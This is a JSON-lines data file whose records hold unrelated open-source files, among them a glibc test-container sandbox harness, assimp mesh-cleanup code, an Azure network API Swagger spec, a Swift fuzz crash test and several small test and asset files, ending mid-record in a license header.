{\n\t\tmaybe_xunlink (the_words[1]);\n\t }\n\t else if (nt >= 2 && strcmp (the_words[0], \"exec\") == 0)\n\t {\n\t\t/* The first argument is the desired location and name\n\t\t of the test binary as we wish to exec it; we will\n\t\t copy the binary there. The second (optional)\n\t\t argument is the value to pass as argv[0], it\n\t\t defaults to the same as the first argument. */\n\t\tchar *new_exec_path = the_words[1];\n\n\t\t/* If the new exec path ends with a slash, that's the\n\t\t * directory, and use the old test base name. */\n\t\tif (new_exec_path [strlen(new_exec_path) - 1] == '/')\n\t\t new_exec_path = concat (new_exec_path,\n\t\t\t\t\t basename (new_child_proc[0]),\n\t\t\t\t\t NULL);\n\n\n\t\t/* new_child_proc is in the build tree, so has the\n\t\t same path inside the chroot as outside. The new\n\t\t exec path is, by definition, relative to the\n\t\t chroot. */\n\t\tcopy_one_file (new_child_proc[0], concat (new_root_path,\n\t\t\t\t\t\t\t new_exec_path,\n\t\t\t\t\t\t\t NULL));\n\n\t\tnew_child_exec = xstrdup (new_exec_path);\n\t\tif (the_words[2])\n\t\t new_child_proc[0] = xstrdup (the_words[2]);\n\t\telse\n\t\t new_child_proc[0] = new_child_exec;\n\t }\n\t else if (nt == 2 && strcmp (the_words[0], \"cwd\") == 0)\n\t {\n\t\tchange_cwd = xstrdup (the_words[1]);\n\t }\n\t else if (nt == 1 && strcmp (the_words[0], \"su\") == 0)\n\t {\n\t\tbe_su = 1;\n\t }\n\t else if (nt == 3 && strcmp (the_words[0], \"mkdirp\") == 0)\n\t {\n\t\tlong int m;\n\t\terrno = 0;\n\t\tm = strtol (the_words[1], NULL, 0);\n\t\tTEST_COMPARE (errno, 0);\n\t\txmkdirp (the_words[2], m);\n\t }\n\t else if (nt > 0 && the_words[0][0] != '#')\n\t {\n\t\tfprintf (stderr, \"\\033[31minvalid [%s]\\033[0m\\n\", the_words[0]);\n\t\texit (1);\n\t }\n\t }\n\tfclose (f);\n }\n }\n\n if (do_postclean)\n {\n pid_t pc_pid = fork ();\n\n if (pc_pid < 0)\n\t{\n\t FAIL_EXIT1 (\"Can't fork for post-clean\");\n\t}\n else if (pc_pid > 0)\n\t{\n\t /* Parent. */\n\t int status;\n\t waitpid (pc_pid, &status, 0);\n\n\t /* Child has exited, we can post-clean the test root. */\n\t printf(\"running post-clean rsync\\n\");\n\t rsync (pristine_root_path, new_root_path, 1);\n\n\t if (WIFEXITED (status))\n\t exit (WEXITSTATUS (status));\n\n\t if (WIFSIGNALED (status))\n\t {\n\t printf (\"%%SIGNALLED%%\\n\");\n\t exit (77);\n\t }\n\n\t printf (\"%%EXITERROR%%\\n\");\n\t exit (78);\n\t}\n\n /* Child continues. */\n }\n\n /* This is the last point in the program where we're still in the\n \"normal\" namespace. */\n\n#ifdef CLONE_NEWNS\n /* The unshare here gives us our own spaces and capabilities. */\n if (unshare (CLONE_NEWUSER | CLONE_NEWPID | CLONE_NEWNS) < 0)\n {\n /* Older kernels may not support all the options, or security\n\t policy may block this call. */\n if (errno == EINVAL || errno == EPERM)\n\t{\n\t int saved_errno = errno;\n\t if (errno == EPERM)\n\t check_for_unshare_hints ();\n\t FAIL_UNSUPPORTED (\"unable to unshare user/fs: %s\", strerror (saved_errno));\n\t}\n else\n\tFAIL_EXIT1 (\"unable to unshare user/fs: %s\", strerror (errno));\n }\n#else\n /* Some targets may not support unshare at all. */\n FAIL_UNSUPPORTED (\"unshare support missing\");\n#endif\n\n /* Some systems, by default, all mounts leak out of the namespace. */\n if (mount (\"none\", \"/\", NULL, MS_REC | MS_PRIVATE, NULL) != 0)\n FAIL_EXIT1 (\"could not create a private mount namespace\\n\");\n\n trymount (support_srcdir_root, new_srcdir_path);\n trymount (support_objdir_root, new_objdir_path);\n\n xmkdirp (concat (new_root_path, \"/dev\", NULL), 0755);\n devmount (new_root_path, \"null\");\n devmount (new_root_path, \"zero\");\n devmount (new_root_path, \"urandom\");\n\n /* We're done with the \"old\" root, switch to the new one. */\n if (chroot (new_root_path) < 0)\n FAIL_EXIT1 (\"Can't chroot to %s - \", new_root_path);\n\n if (chdir (new_cwd_path) < 0)\n FAIL_EXIT1 (\"Can't cd to new %s - \", new_cwd_path);\n\n /* This is to pass the \"outside\" PID to the child, which will be PID\n 1. */\n if (pipe2 (pipes, O_CLOEXEC) < 0)\n FAIL_EXIT1 (\"Can't create pid pipe\");\n\n /* To complete the containerization, we need to fork () at least\n once. We can't exec, nor can we somehow link the new child to\n our parent. So we run the child and propogate it's exit status\n up. */\n child = fork ();\n if (child < 0)\n FAIL_EXIT1 (\"Unable to fork\");\n else if (child > 0)\n {\n /* Parent. */\n int status;\n\n /* Send the child's \"outside\" pid to it. */\n write (pipes[1], &child, sizeof(child));\n close (pipes[0]);\n close (pipes[1]);\n\n waitpid (child, &status, 0);\n\n if (WIFEXITED (status))\n\texit (WEXITSTATUS (status));\n\n if (WIFSIGNALED (status))\n\t{\n\t printf (\"%%SIGNALLED%%\\n\");\n\t exit (77);\n\t}\n\n printf (\"%%EXITERROR%%\\n\");\n exit (78);\n }\n\n /* The rest is the child process, which is now PID 1 and \"in\" the\n new root. */\n\n /* Get our \"outside\" pid from our parent. We use this to help with\n debugging from outside the container. */\n read (pipes[0], &child, sizeof(child));\n close (pipes[0]);\n close (pipes[1]);\n sprintf (pid_buf, \"%lu\", (long unsigned)child);\n setenv (\"PID_OUTSIDE_CONTAINER\", pid_buf, 0);\n\n maybe_xmkdir (\"/tmp\", 0755);\n\n /* Now that we're pid 1 (effectively \"root\") we can mount /proc */\n maybe_xmkdir (\"/proc\", 0777);\n if (mount (\"proc\", \"/proc\", \"proc\", 0, NULL) < 0)\n FAIL_EXIT1 (\"Unable to mount /proc: \");\n\n /* We map our original UID to the same UID in the container so we\n can own our own files normally. */\n UMAP = open (\"/proc/self/uid_map\", O_WRONLY);\n if (UMAP < 0)\n FAIL_EXIT1 (\"can't write to /proc/self/uid_map\\n\");\n\n sprintf (tmp, \"%lld %lld 1\\n\",\n\t (long long) (be_su ? 0 : original_uid), (long long) original_uid);\n write (UMAP, tmp, strlen (tmp));\n xclose (UMAP);\n\n /* We must disable setgroups () before we can map our groups, else we\n get EPERM. */\n GMAP = open (\"/proc/self/setgroups\", O_WRONLY);\n if (GMAP >= 0)\n {\n /* We support kernels old enough to not have this. */\n write (GMAP, \"deny\\n\", 5);\n xclose (GMAP);\n }\n\n /* We map our original GID to the same GID in the container so we\n can own our own files normally. */\n GMAP = open (\"/proc/self/gid_map\", O_WRONLY);\n if (GMAP < 0)\n FAIL_EXIT1 (\"can't write to /proc/self/gid_map\\n\");\n\n sprintf (tmp, \"%lld %lld 1\\n\",\n\t (long long) (be_su ? 0 : original_gid), (long long) original_gid);\n write (GMAP, tmp, strlen (tmp));\n xclose (GMAP);\n\n if (change_cwd)\n {\n if (chdir (change_cwd) < 0)\n\tFAIL_EXIT1 (\"Can't cd to %s inside container - \", change_cwd);\n }\n\n /* Now run the child. */\n execvp (new_child_exec, new_child_proc);\n\n /* Or don't run the child? */\n FAIL_EXIT1 (\"Unable to exec %s: %s\\n\", new_child_exec, strerror (errno));\n\n /* Because gcc won't know error () never returns... */\n exit (EXIT_UNSUPPORTED);\n}\n"} +{"text": "{\n \"images\" : [\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"1x\"\n },\n {\n \"idiom\" : \"universal\",\n \"filename\" : \"pay_fail@2x.png\",\n \"scale\" : \"2x\"\n },\n {\n \"idiom\" : \"universal\",\n \"scale\" : \"3x\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "/*\n---------------------------------------------------------------------------\nOpen Asset Import Library (assimp)\n---------------------------------------------------------------------------\n\nCopyright (c) 2006-2020, assimp team\n\n\n\nAll rights reserved.\n\nRedistribution and use of this software in source and binary forms,\nwith or without modification, are permitted provided that the following\nconditions are met:\n\n* Redistributions of source code must retain the above\n copyright notice, this list of conditions and the\n following disclaimer.\n\n* Redistributions in binary form must reproduce the above\n copyright notice, this list of conditions and the\n following disclaimer in the documentation and/or other\n materials provided with the distribution.\n\n* Neither the name of the assimp team, nor the names of its\n contributors may be used to endorse or promote products\n derived from this software without specific prior\n written permission of the assimp team.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n---------------------------------------------------------------------------\n*/\n/** @file Implementation of the post processing step to remove\n * any parts of the mesh structure from the imported data.\n*/\n\n#include \"RemoveVCProcess.h\"\n#include \n#include \n#include \n\nusing namespace Assimp;\n\n// ------------------------------------------------------------------------------------------------\n// Constructor to be privately used by Importer\nRemoveVCProcess::RemoveVCProcess() :\n configDeleteFlags(), mScene() {}\n\n// ------------------------------------------------------------------------------------------------\n// Destructor, private as well\nRemoveVCProcess::~RemoveVCProcess() {}\n\n// ------------------------------------------------------------------------------------------------\n// Returns whether the processing step is present in the given flag field.\nbool RemoveVCProcess::IsActive(unsigned int pFlags) const {\n return (pFlags & aiProcess_RemoveComponent) != 0;\n}\n\n// ------------------------------------------------------------------------------------------------\n// Small helper function to delete all elements in a T** aray using delete\ntemplate \ninline void ArrayDelete(T **&in, unsigned int &num) {\n for (unsigned int i = 0; i < num; ++i)\n delete in[i];\n\n delete[] in;\n in = nullptr;\n num = 0;\n}\n\n#if 0\n// ------------------------------------------------------------------------------------------------\n// Updates the node graph - removes all nodes which have the \"remove\" flag set and the\n// \"don't remove\" flag not set. Nodes with meshes are never deleted.\nbool UpdateNodeGraph(aiNode* node,std::list& childsOfParent,bool root)\n{\n bool b = false;\n\n std::list mine;\n for (unsigned int i = 0; i < node->mNumChildren;++i)\n {\n if(UpdateNodeGraph(node->mChildren[i],mine,false))\n b = true;\n }\n\n // somewhat tricky ... mNumMeshes must be originally 0 and MSB2 may not be set,\n // so we can do a simple comparison against MSB here\n if (!root && AI_RC_UINT_MSB == node->mNumMeshes )\n {\n // this node needs to be removed\n if(node->mNumChildren)\n {\n childsOfParent.insert(childsOfParent.end(),mine.begin(),mine.end());\n\n // set all children to nullptr to make sure they are not deleted when we delete ourself\n for (unsigned int i = 0; i < node->mNumChildren;++i)\n node->mChildren[i] = nullptr;\n }\n b = true;\n delete node;\n }\n else\n {\n AI_RC_UNMASK(node->mNumMeshes);\n childsOfParent.push_back(node);\n\n if (b)\n {\n // reallocate the array of our children here\n node->mNumChildren = (unsigned int)mine.size();\n aiNode** const children = new aiNode*[mine.size()];\n aiNode** ptr = children;\n\n for (std::list::iterator it = mine.begin(), end = mine.end();\n it != end; ++it)\n {\n *ptr++ = *it;\n }\n delete[] node->mChildren;\n node->mChildren = children;\n return false;\n }\n }\n return b;\n}\n#endif\n\n// ------------------------------------------------------------------------------------------------\n// Executes the post processing step on the given imported data.\nvoid RemoveVCProcess::Execute(aiScene *pScene) {\n ASSIMP_LOG_DEBUG(\"RemoveVCProcess begin\");\n bool bHas = false; //,bMasked = false;\n\n mScene = pScene;\n\n // handle animations\n if (configDeleteFlags & aiComponent_ANIMATIONS) {\n\n bHas = true;\n ArrayDelete(pScene->mAnimations, pScene->mNumAnimations);\n }\n\n // handle textures\n if (configDeleteFlags & aiComponent_TEXTURES) {\n bHas = true;\n ArrayDelete(pScene->mTextures, pScene->mNumTextures);\n }\n\n // handle materials\n if (configDeleteFlags & aiComponent_MATERIALS && pScene->mNumMaterials) {\n bHas = true;\n for (unsigned int i = 1; i < pScene->mNumMaterials; ++i)\n delete pScene->mMaterials[i];\n\n pScene->mNumMaterials = 1;\n aiMaterial *helper = (aiMaterial *)pScene->mMaterials[0];\n ai_assert(nullptr != helper);\n helper->Clear();\n\n // gray\n aiColor3D clr(0.6f, 0.6f, 0.6f);\n helper->AddProperty(&clr, 1, AI_MATKEY_COLOR_DIFFUSE);\n\n // add a small ambient color value\n clr = aiColor3D(0.05f, 0.05f, 0.05f);\n helper->AddProperty(&clr, 1, AI_MATKEY_COLOR_AMBIENT);\n\n aiString s;\n s.Set(\"Dummy_MaterialsRemoved\");\n helper->AddProperty(&s, AI_MATKEY_NAME);\n }\n\n // handle light sources\n if (configDeleteFlags & aiComponent_LIGHTS) {\n bHas = true;\n ArrayDelete(pScene->mLights, pScene->mNumLights);\n }\n\n // handle camneras\n if (configDeleteFlags & aiComponent_CAMERAS) {\n bHas = true;\n ArrayDelete(pScene->mCameras, pScene->mNumCameras);\n }\n\n // handle meshes\n if (configDeleteFlags & aiComponent_MESHES) {\n bHas = true;\n ArrayDelete(pScene->mMeshes, pScene->mNumMeshes);\n } else {\n for (unsigned int a = 0; a < pScene->mNumMeshes; a++) {\n if (ProcessMesh(pScene->mMeshes[a]))\n bHas = true;\n }\n }\n\n // now check whether the result is still a full scene\n if (!pScene->mNumMeshes || !pScene->mNumMaterials) {\n pScene->mFlags |= AI_SCENE_FLAGS_INCOMPLETE;\n ASSIMP_LOG_DEBUG(\"Setting AI_SCENE_FLAGS_INCOMPLETE flag\");\n\n // If we have no meshes anymore we should also clear another flag ...\n if (!pScene->mNumMeshes)\n pScene->mFlags &= ~AI_SCENE_FLAGS_NON_VERBOSE_FORMAT;\n }\n\n if (bHas) {\n ASSIMP_LOG_INFO(\"RemoveVCProcess finished. Data structure cleanup has been done.\");\n } else {\n ASSIMP_LOG_DEBUG(\"RemoveVCProcess finished. Nothing to be done ...\");\n }\n}\n\n// ------------------------------------------------------------------------------------------------\n// Setup configuration properties for the step\nvoid RemoveVCProcess::SetupProperties(const Importer *pImp) {\n configDeleteFlags = pImp->GetPropertyInteger(AI_CONFIG_PP_RVC_FLAGS, 0x0);\n if (!configDeleteFlags) {\n ASSIMP_LOG_WARN(\"RemoveVCProcess: AI_CONFIG_PP_RVC_FLAGS is zero.\");\n }\n}\n\n// ------------------------------------------------------------------------------------------------\n// Executes the post processing step on the given imported data.\nbool RemoveVCProcess::ProcessMesh(aiMesh *pMesh) {\n bool ret = false;\n\n // if all materials have been deleted let the material\n // index of the mesh point to the created default material\n if (configDeleteFlags & aiComponent_MATERIALS)\n pMesh->mMaterialIndex = 0;\n\n // handle normals\n if (configDeleteFlags & aiComponent_NORMALS && pMesh->mNormals) {\n delete[] pMesh->mNormals;\n pMesh->mNormals = nullptr;\n ret = true;\n }\n\n // handle tangents and bitangents\n if (configDeleteFlags & aiComponent_TANGENTS_AND_BITANGENTS && pMesh->mTangents) {\n delete[] pMesh->mTangents;\n pMesh->mTangents = nullptr;\n\n delete[] pMesh->mBitangents;\n pMesh->mBitangents = nullptr;\n ret = true;\n }\n\n // handle texture coordinates\n bool b = (0 != (configDeleteFlags & aiComponent_TEXCOORDS));\n for (unsigned int i = 0, real = 0; real < AI_MAX_NUMBER_OF_TEXTURECOORDS; ++real) {\n if (!pMesh->mTextureCoords[i]) break;\n if (configDeleteFlags & aiComponent_TEXCOORDSn(real) || b) {\n delete[] pMesh->mTextureCoords[i];\n pMesh->mTextureCoords[i] = nullptr;\n ret = true;\n\n if (!b) {\n // collapse the rest of the array\n for (unsigned int a = i + 1; a < AI_MAX_NUMBER_OF_TEXTURECOORDS; ++a)\n pMesh->mTextureCoords[a - 1] = pMesh->mTextureCoords[a];\n\n pMesh->mTextureCoords[AI_MAX_NUMBER_OF_TEXTURECOORDS - 1] = nullptr;\n continue;\n }\n }\n ++i;\n }\n\n // handle vertex colors\n b = (0 != (configDeleteFlags & aiComponent_COLORS));\n for (unsigned int i = 0, real = 0; real < AI_MAX_NUMBER_OF_COLOR_SETS; ++real) {\n if (!pMesh->mColors[i]) break;\n if (configDeleteFlags & aiComponent_COLORSn(i) || b) {\n delete[] pMesh->mColors[i];\n pMesh->mColors[i] = nullptr;\n ret = true;\n\n if (!b) {\n // collapse the rest of the array\n for (unsigned int a = i + 1; a < AI_MAX_NUMBER_OF_COLOR_SETS; ++a)\n pMesh->mColors[a - 1] = pMesh->mColors[a];\n\n pMesh->mColors[AI_MAX_NUMBER_OF_COLOR_SETS - 1] = nullptr;\n continue;\n }\n }\n ++i;\n }\n\n // handle bones\n if (configDeleteFlags & aiComponent_BONEWEIGHTS && pMesh->mBones) {\n ArrayDelete(pMesh->mBones, pMesh->mNumBones);\n ret = true;\n }\n return ret;\n}\n"} +{"text": "swagger: '2.0'\nschemes:\n - https\nhost: management.azure.com\ninfo:\n description: The Microsoft Azure Network management API provides a RESTful set of web services that interact with Microsoft Azure Networks service to manage your network resources. The API has entities that capture the relationship between an end user and the Microsoft Azure Networks service.\n title: NetworkManagementClient\n version: '2018-06-01'\n x-apisguru-categories:\n - cloud\n x-logo:\n url: 'https://assets.onestore.ms/cdnfiles/onestorerolling-1606-01000/shell/v3/images/logo/microsoft.png'\n x-origin:\n - format: swagger\n url: 'https://raw.githubusercontent.com/Azure/azure-rest-api-specs/master/specification/network/resource-manager/Microsoft.Network/stable/2018-06-01/applicationSecurityGroup.json'\n version: '2.0'\n x-preferred: false\n x-providerName: azure.com\n x-serviceName: network-applicationSecurityGroup\n x-tags:\n - Azure\n - Microsoft\nconsumes:\n - application/json\nproduces:\n - application/json\nsecurityDefinitions:\n azure_auth:\n authorizationUrl: 'https://login.microsoftonline.com/common/oauth2/authorize'\n description: Azure Active Directory OAuth2 Flow\n flow: implicit\n scopes:\n user_impersonation: impersonate your user account\n type: oauth2\nsecurity:\n - azure_auth:\n - user_impersonation\npaths:\n '/subscriptions/{subscriptionId}/providers/Microsoft.Network/applicationSecurityGroups':\n get:\n description: Gets all application security groups in a subscription.\n operationId: ApplicationSecurityGroups_ListAll\n parameters:\n - description: Client API version.\n in: query\n name: api-version\n required: true\n type: string\n - description: The subscription credentials which uniquely identify the Microsoft Azure subscription. The subscription ID forms part of the URI for every service call.\n in: path\n name: subscriptionId\n required: true\n type: string\n responses:\n '200':\n description: Request successful. The operation returns a list of application security group resources.\n schema:\n $ref: '#/definitions/ApplicationSecurityGroupListResult'\n tags:\n - ApplicationSecurityGroups\n x-ms-examples:\n List all application security groups:\n parameters:\n api-version: '2018-06-01'\n subscriptionId: subid\n responses:\n '200':\n body:\n value:\n - id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/asg1\n location: westus\n name: asg1\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n - id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/asg2\n location: westus\n name: asg2\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n x-ms-pageable:\n nextLinkName: nextLink\n '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups':\n get:\n description: Gets all the application security groups in a resource group.\n operationId: ApplicationSecurityGroups_List\n parameters:\n - description: The name of the resource group.\n in: path\n name: resourceGroupName\n required: true\n type: string\n - description: Client API version.\n in: query\n name: api-version\n required: true\n type: string\n - description: The subscription credentials which uniquely identify the Microsoft Azure subscription. The subscription ID forms part of the URI for every service call.\n in: path\n name: subscriptionId\n required: true\n type: string\n responses:\n '200':\n description: Request successful. The operation returns a list of application security group resources.\n schema:\n $ref: '#/definitions/ApplicationSecurityGroupListResult'\n tags:\n - ApplicationSecurityGroups\n x-ms-examples:\n List load balancers in resource group:\n parameters:\n api-version: '2018-06-01'\n resourceGroupName: rg1\n subscriptionId: subid\n responses:\n '200':\n body:\n value:\n - id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/asg1\n location: westus\n name: asg1\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n - id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/asg2\n location: westus\n name: asg2\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n x-ms-pageable:\n nextLinkName: nextLink\n '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/applicationSecurityGroups/{applicationSecurityGroupName}':\n delete:\n description: Deletes the specified application security group.\n operationId: ApplicationSecurityGroups_Delete\n parameters:\n - description: The name of the resource group.\n in: path\n name: resourceGroupName\n required: true\n type: string\n - description: The name of the application security group.\n in: path\n name: applicationSecurityGroupName\n required: true\n type: string\n - description: Client API version.\n in: query\n name: api-version\n required: true\n type: string\n - description: The subscription credentials which uniquely identify the Microsoft Azure subscription. The subscription ID forms part of the URI for every service call.\n in: path\n name: subscriptionId\n required: true\n type: string\n responses:\n '200':\n description: Delete successful.\n '202':\n description: Accepted and the operation will complete asynchronously.\n '204':\n description: Request successful. Resource does not exist.\n tags:\n - ApplicationSecurityGroups\n x-ms-examples:\n Delete application security group:\n parameters:\n api-version: '2018-06-01'\n applicationSecurityGroupName: test-asg\n resourceGroupName: rg1\n subscriptionId: subid\n responses:\n '200': {}\n '202': {}\n '204': {}\n x-ms-long-running-operation: true\n get:\n description: Gets information about the specified application security group.\n operationId: ApplicationSecurityGroups_Get\n parameters:\n - description: The name of the resource group.\n in: path\n name: resourceGroupName\n required: true\n type: string\n - description: The name of the application security group.\n in: path\n name: applicationSecurityGroupName\n required: true\n type: string\n - description: Client API version.\n in: query\n name: api-version\n required: true\n type: string\n - description: The subscription credentials which uniquely identify the Microsoft Azure subscription. The subscription ID forms part of the URI for every service call.\n in: path\n name: subscriptionId\n required: true\n type: string\n responses:\n '200':\n description: Request successful. The operation returns the specified application security group resource.\n schema:\n $ref: '#/definitions/ApplicationSecurityGroup'\n tags:\n - ApplicationSecurityGroups\n x-ms-examples:\n Get application security group:\n parameters:\n api-version: '2018-06-01'\n applicationSecurityGroupName: test-asg\n resourceGroupName: rg1\n subscriptionId: subid\n responses:\n '200':\n body:\n id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/test-asg\n location: westus\n name: test-asg\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n put:\n description: Creates or updates an application security group.\n operationId: ApplicationSecurityGroups_CreateOrUpdate\n parameters:\n - description: The name of the resource group.\n in: path\n name: resourceGroupName\n required: true\n type: string\n - description: The name of the application security group.\n in: path\n name: applicationSecurityGroupName\n required: true\n type: string\n - description: Parameters supplied to the create or update ApplicationSecurityGroup operation.\n in: body\n name: parameters\n required: true\n schema:\n $ref: '#/definitions/ApplicationSecurityGroup'\n - description: Client API version.\n in: query\n name: api-version\n required: true\n type: string\n - description: The subscription credentials which uniquely identify the Microsoft Azure subscription. The subscription ID forms part of the URI for every service call.\n in: path\n name: subscriptionId\n required: true\n type: string\n responses:\n '200':\n description: Update successful. The operation returns the resulting application security group resource.\n schema:\n $ref: '#/definitions/ApplicationSecurityGroup'\n '201':\n description: Create successful. The operation returns the resulting application security group resource.\n schema:\n $ref: '#/definitions/ApplicationSecurityGroup'\n tags:\n - ApplicationSecurityGroups\n x-ms-examples:\n Create application security group:\n parameters:\n api-version: '2018-06-01'\n applicationSecurityGroupName: test-asg\n parameters:\n location: westus\n properties: {}\n resourceGroupName: rg1\n subscriptionId: subid\n responses:\n '200':\n body:\n id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/test-asg\n location: westus\n name: test-asg\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n '201':\n body:\n id: /subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/applicationSecurityGroups/test-asg\n location: westus\n name: test-asg\n properties:\n provisioningState: Succeeded\n resourceGuid: 00000000-0000-0000-0000-000000000000\n type: Microsoft.Network/applicationSecurityGroups\n x-ms-long-running-operation: true\ndefinitions:\n ApplicationSecurityGroup:\n allOf:\n - description: Common resource representation.\n properties:\n id:\n description: Resource ID.\n type: string\n location:\n description: Resource location.\n type: string\n name:\n description: Resource name.\n readOnly: true\n type: string\n tags:\n additionalProperties:\n type: string\n description: Resource tags.\n type: object\n type:\n description: Resource type.\n readOnly: true\n type: string\n x-ms-azure-resource: true\n description: An application security group in a resource group.\n properties:\n etag:\n description: A unique read-only string that changes whenever the resource is updated.\n readOnly: true\n type: string\n properties:\n $ref: '#/definitions/ApplicationSecurityGroupPropertiesFormat'\n description: Properties of the application security group.\n x-ms-client-flatten: true\n ApplicationSecurityGroupListResult:\n description: A list of application security groups.\n properties:\n nextLink:\n description: The URL to get the next set of results.\n readOnly: true\n type: string\n value:\n description: A list of application security groups.\n items:\n $ref: '#/definitions/ApplicationSecurityGroup'\n type: array\n ApplicationSecurityGroupPropertiesFormat:\n description: Application security group properties.\n properties:\n provisioningState:\n description: 'The provisioning state of the application security group resource. Possible values are: ''Succeeded'', ''Updating'', ''Deleting'', and ''Failed''.'\n readOnly: true\n type: string\n resourceGuid:\n description: 'The resource GUID property of the application security group resource. It uniquely identifies a resource, even if the user changes its name or migrate the resource across subscriptions or resource groups.'\n readOnly: true\n type: string\n"} +{"text": "// Distributed under the terms of the MIT license\n// Test case submitted to project by https://github.com/practicalswift (practicalswift)\n// Test case found by fuzzing\n\nstruct c {\nvar d = {\nfunc d {\ncase\n{\n{\n}\nclass\ncase ,\n"} +{"text": "\n\n\n\n
\n A B C D E F G H I J K L M N O P Q R S T U V W X Y Z\n
\n 0 1 2 3 4 5 6 7 8 9\n
\n
\n\n\n"} +{"text": "// DATA_TEMPLATE: empty_table\n/*\n * NOTE: There are some differences in this zero config script for server-side\n * processing compared to the other data sources. The main reason for this is the\n * difference in how the server-side processing does it's filtering. Also the\n * sorting state is always reset on each draw.\n */\noTest.fnStart( \"Info element with display all\" );\n\n$(document).ready( function () {\n\tvar oTable = $('#example').dataTable( {\n\t\t\"bServerSide\": true,\n\t\t\"sAjaxSource\": \"../../../examples/server_side/scripts/server_processing.php\"\n\t} );\n\t\n\toTable.fnSettings()._iDisplayLength = -1;\n\toTable.oApi._fnCalculateEnd( oTable.fnSettings() );\n\toTable.fnDraw();\n\t\n\t\n\t/* Basic checks */\n\toTest.fnWaitTest( \n\t\t\"Check length is correct when -1 length given\",\n\t\tnull,\n\t\tfunction () {\n\t\t\treturn document.getElementById('example_info').innerHTML == \n\t\t\t\t\"Showing 1 to 57 of 57 entries\";\n\t\t}\n\t);\n\t\n\toTest.fnComplete();\n} );"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.ignite.internal.processors.query.timeout;\n\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.TimeUnit;\nimport org.apache.ignite.cache.query.SqlFieldsQuery;\nimport org.apache.ignite.client.IgniteClient;\nimport org.apache.ignite.configuration.ClientConfiguration;\nimport org.apache.ignite.internal.client.thin.ClientServerError;\nimport org.apache.ignite.internal.util.typedef.G;\nimport org.apache.ignite.internal.util.typedef.X;\n\n/**\n *\n */\npublic class DefaultQueryTimeoutThinJavaTest extends AbstractDefaultQueryTimeoutTest {\n /** {@inheritDoc} */\n @Override protected void executeQuery(String sql) throws Exception {\n try (IgniteClient cli = G.startClient(new ClientConfiguration().setAddresses(\"127.0.0.1\"))) {\n cli.query(new SqlFieldsQuery(sql)).getAll();\n }\n }\n\n /** {@inheritDoc} */\n @Override protected void executeQuery(String sql, int timeout) throws Exception {\n try (IgniteClient cli = G.startClient(new ClientConfiguration().setAddresses(\"127.0.0.1\"))) {\n cli.query(new SqlFieldsQuery(sql).setTimeout(timeout, TimeUnit.MILLISECONDS)).getAll();\n }\n }\n\n /** {@inheritDoc} */\n @Override protected void assertQueryCancelled(Callable c) {\n try {\n c.call();\n\n fail(\"Exception is expected\");\n }\n catch (Exception e) {\n assertTrue(X.hasCause(e, \"The query was cancelled while executing\", ClientServerError.class));\n }\n }\n}\n"} +{"text": "package org.eluder.coveralls.maven.plugin.logging;\n\n/*\n * #[license]\n * coveralls-maven-plugin\n * %%\n * Copyright (C) 2013 - 2016 Tapio Rautonen\n * %%\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to 